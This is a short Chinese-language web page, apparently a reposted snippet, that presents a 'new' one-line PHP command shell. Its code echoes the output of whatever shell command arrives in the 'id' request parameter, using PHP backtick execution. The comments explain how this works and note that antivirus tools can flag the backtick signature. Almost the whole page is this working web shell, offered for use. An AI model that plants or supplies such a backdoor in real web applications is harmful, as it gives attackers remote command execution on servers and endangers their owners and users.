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php一句话cmdshell新型 (非一句话木马)

WBOY
WBOYOriginal
2016-06-13 12:24:21856browse

复制代码 代码如下:


/*一个新型的php一句话cmdshell(非一句话木马)
//原理:php运行时如果遇见字符``(键盘上~符号的下档键)总会尝试着执行``里面包含的命令,并返回命令执行的结果(string类型);
//局限性:特征码比较明显,``符号在php中很少用到,杀毒软件很容易以此为特征码扫描到并警报;``里面不能执行php代码;
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>


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